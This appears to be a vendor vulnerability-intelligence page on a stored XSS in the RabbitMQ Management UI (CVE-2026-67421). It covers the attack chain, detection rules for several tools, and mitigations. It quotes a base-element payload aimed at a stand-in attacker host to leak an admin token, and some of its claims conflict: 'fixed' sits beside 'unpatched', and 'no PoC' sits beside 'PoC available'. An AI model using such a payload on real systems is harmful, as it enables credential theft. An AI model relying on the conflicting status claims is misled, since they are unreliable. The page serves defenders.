CVE-2026-67421
Executive Summary
CVE-2026-67421 is a stored cross-site scripting (XSS) vulnerability in the RabbitMQ Management UI that is exploitable when the OAuth management plugin is enabled. An attacker holding queue configure permissions can embed an HTML base element in a queue name; when a management administrator attempts to read messages from that queue, the injected base element retargets the UI's automatic relative refresh, potentially leaking the administrator's Authorization header to an attacker-controlled endpoint via CORS. RabbitMQ installations running versions 3.13.0 through 4.3.4 with the OAuth management UI are affected. The vulnerability is fixed in versions 3.13.19, 4.0.24, 4.1.15, 4.2.10, and 4.3.5, but patch confidence is currently 0/4 as no patch evidence has been sourced from tracked feeds.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability resides in how the RabbitMQ Management interface renders AMQP authorization-error reasons. RabbitMQ permits certain queue names to contain arbitrary characters, including HTML markup. When an AMQP operation fails due to an authorization error, the broker returns a reason string that incorporates the queue name supplied by the client. The Management UI historically rendered this error reason as raw HTML rather than encoding it.
The exploitation path requires the OAuth management UI to be enabled. In that configuration, the management interface performs an automatic relative refresh using JavaScript and carries an Authorization header in requests to backend endpoints. The Content Security Policy (CSP) applied by the management application omits both the base-uri and connect-src directives. The absence of base-uri allows an attacker to inject a <base> element into the rendered DOM, which changes how all relative URLs in the document are resolved. The absence of connect-src means the CSP does not restrict the origins to which the page may issue fetch or XHR requests.
By naming a queue with a payload that injects a <base href="https://attacker.example/"> element, an attacker can cause the UI's relative refresh requests to resolve against the attacker-controlled origin. If the attacker endpoint is configured to return an Access-Control-Allow-Origin header that reflects or permits the management origin, a browser will permit the cross-origin request and the victim's Authorization header will be transmitted to the attacker-controlled server. This is a cross-origin credential leak enabled by the combination of stored XSS (HTML injection via queue name) and permissive CSP (missing base-uri and connect-src).
The vulnerability is classified as CWE-862 (Missing Authorization), indicating the core issue is that the system did not enforce a boundary preventing attacker-controlled input from influencing the target of credentialed requests. The CVSS vector reflects network attack vector, high attack complexity due to the specific precondition chain, low privileges required (queue configure permission), user interaction required (administrator clicking "Get Message(s)"), changed scope, and high confidentiality and integrity impact.
Exploitation Scenarios
No public proof-of-concept is available; the attack chain described below is derived strictly from the NVD description.
Reconnaissance and target identification. The attacker identifies a RabbitMQ deployment running an affected version (3.13.0–4.3.4) with the OAuth management UI enabled. Such deployments are often discoverable via the management interface on port 15672. The attacker must already possess a RabbitMQ user account with permission to configure queues, or must obtain such access through separate means.
Triggering the flaw class. The attacker creates or renames a queue such that its name contains an HTML
<base>element pointing to an attacker-controlled origin. Because RabbitMQ allows such characters in queue names, the name is stored verbatim. The attacker then deliberately triggers an AMQP authorization error associated with that queue, causing the broker to generate an error reason string that includes the malicious queue name.Execution via user interaction. A management administrator who has visibility to the queue but lacks read permission is the intended victim. When the administrator clicks "Get Message(s)" in the management UI, the authorization-error reason is rendered as HTML. The injected
<base>element alters the document base URL. The automatic relative refresh performed by the OAuth management UI then resolves to the attacker's endpoint. Because the CSP omitsconnect-src, the request is not blocked by policy, and if the attacker endpoint returns a permissive CORS header for the management origin, the browser transmits the administrator's Authorization header to the attacker.Post-exploitation impact. The attacker obtains the administrator's OAuth Authorization header, which can be replayed to authenticate to the RabbitMQ management API with the administrator's privileges. This yields broad control over the broker, including queue management, message consumption, and potential access to sensitive message payloads.
Impact Assessment
Successful exploitation results in credential theft of a RabbitMQ management administrator's OAuth token. Because the CVSS vector assigns high confidentiality and integrity impact with changed scope, the blast radius extends beyond the queue itself to the entire RabbitMQ management plane. An attacker who captures an administrator token can manipulate exchanges, queues, bindings, and policies, and can read or purge message content. In environments where RabbitMQ acts as the central message bus for financial transactions, order processing, or inter-service communication, this can lead to data exfiltration, message tampering, and denial of service.
The attack complexity is rated High (AC:H) because exploitation depends on multiple preconditions: the OAuth management UI must be enabled, the attacker must hold queue configure permissions, a management administrator must be able to see but not read the target queue, and that administrator must click "Get Message(s)". The Privileges Required rating is Low (PR:L) because queue configure permission is a relatively low-privilege operation. User Interaction is Required (UI:R). Scope is Changed (S:C) because the vulnerable component's flaw affects resources beyond its security authority (the administrator's credentials). There is no availability impact (A:N) directly attributed in the vector. No public exploit code or Nuclei template is available, and the CVE has not been added to the CISA KEV catalog. EPSS has not yet scored this CVE.
Detection Guidance
Sigma Rule
title: RabbitMQ Management UI HTML Base Injection in Queue Name
id: 8f4b2c91-7a3e-4d1f-9c2a-5b6e8f0a1d3c
status: experimental
description: Detects HTTP requests to RabbitMQ Management containing base element markup in queue name parameters, indicating CVE-2026-67421 exploitation attempts.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-67421
author: Threat Intelligence
date: 2026-01-01
tags:
- attack.t1190
- cve.2026.67421
logsource:
category: webserver
product: rabbitmq
detection:
selection_method:
cs-method: 'GET'
selection_uri:
cs-uri-stem|contains: '/api/queues'
selection_payload:
cs-uri-query|contains:
- '%3Cbase'
- '<base'
- 'base%20href'
- 'base+href'
condition: selection_method and selection_uri and selection_payload
fields:
- c-ip
- cs-uri
- cs-User-Agent
falsepositives:
- Legitimate queue names containing the literal string 'base'
level: high
YARA Rule
rule CVE_2026_67421_RabbitMQ_Base_Injection
{
meta:
description = "Detects HTML base element injection within RabbitMQ queue name strings associated with CVE-2026-67421"
author = "Threat Intelligence"
date = "2026-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-67421"
severity = "high"
strings:
$base_tag = "<base" nocase
$base_href = "base href" nocase
$queue_ctx = "queue" nocase
$authz_err = "authorization" nocase
condition:
$base_tag and $base_href and any of ($queue_ctx, $authz_err)
}
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2026-67421 RabbitMQ Management Queue Name Base Element Injection Attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/api/queues"; http.uri; content:"base"; nocase; http.uri; content:"href"; nocase; classtype:web-application-attack; reference:cve,2026-67421; sid:202667421; rev:1;)
Elastic Detection
network where
http.request.method == "GET" and
stringContains(http.request.uri, "/api/queues") and
(stringContains(http.request.uri, "<base") or stringContains(http.request.uri, "base%20href") or stringContains(http.request.uri, "base+href"))
Splunk SPL Query
index=web sourcetype=rabbitmq_access
| search uri_path="/api/queues*" (uri_query="*base*href*" OR uri_query="*%3Cbase*")
| stats count min(_time) as first_seen max(_time) as last_seen by src_ip, uri, uri_query, useragent
| where count > 0
| sort - last_seen
Wazuh OSSEC Rule
<group name="rabbitmq,web,attack,">
<rule id="100421" level="12">
<decoded_as>json</decoded_as>
<field name="url">\/api\/queues.*(base|%3Cbase).*href</field>
<description>CVE-2026-67421: RabbitMQ Management queue name base element injection attempt detected</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Mitigation & Patch Guidance
Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source).
Immediate mitigations:
- Disable the OAuth management UI if it is not strictly required, which removes the automatic relative refresh behavior that carries the Authorization header.
- If OAuth management must remain enabled, apply a Content Security Policy at the reverse proxy or management plugin level that explicitly includes
base-uri 'none'andconnect-src 'self'to neutralize the missing directives. Note that CSP can only be applied if it does not break other management functionality. - Restrict management UI access to trusted networks and enforce MFA at the OAuth provider to reduce the value of a stolen token.
- Audit queue names for HTML markup and rename or remove any queues containing
<,>, orbaseelements. - Remove queue configure permissions from untrusted users.
Patch/upgrade steps:
- Upgrade RabbitMQ to version 3.13.19, 4.0.24, 4.1.15, 4.2.10, or 4.3.5, which are the fixed versions per the NVD description. Follow the vendor's rolling upgrade guidance for clustered deployments.
- Verify the upgrade by confirming the running version through the management UI or
rabbitmqctl version. - Rotate OAuth client secrets and management administrator tokens after upgrade if exploitation is suspected.
Long-term hardening:
- Enforce a strict Content Security Policy on all management-facing web endpoints, including
base-uri,connect-src, andframe-ancestorsdirectives. - Apply output encoding for all broker-originated error reasons rendered in web UIs; treat all AMQP metadata (queue names, routing keys) as untrusted input.
- Adopt a least-privilege permission model for queue configure and management access.
- Monitor for unusual queue names containing HTML metacharacters through automated inventory checks.
- Subscribe to RabbitMQ security advisories and track the fixed versions for timely patching.
- Enforce a strict Content Security Policy on all management-facing web endpoints, including
References
- NVD — CVE-2026-67421: https://nvd.nist.gov/vuln/detail/CVE-2026-67421
- RabbitMQ Security Advisories: https://github.com/rabbitmq/rabbitmq-server/security/advisories
- RabbitMQ Management Plugin Documentation: https://www.rabbitmq.com/docs/management
- CWE-862 Missing Authorization: https://cwe.mitre.org/data/definitions/862.html
- MITRE ATT&CK T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
No public proof-of-concept, exploit code, or Nuclei template is available for CVE-2026-67421. The CVE has not been added to the CISA KEV catalog, and no threat actor campaigns or in-the-wild exploitation evidence have been identified at the time of writing.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.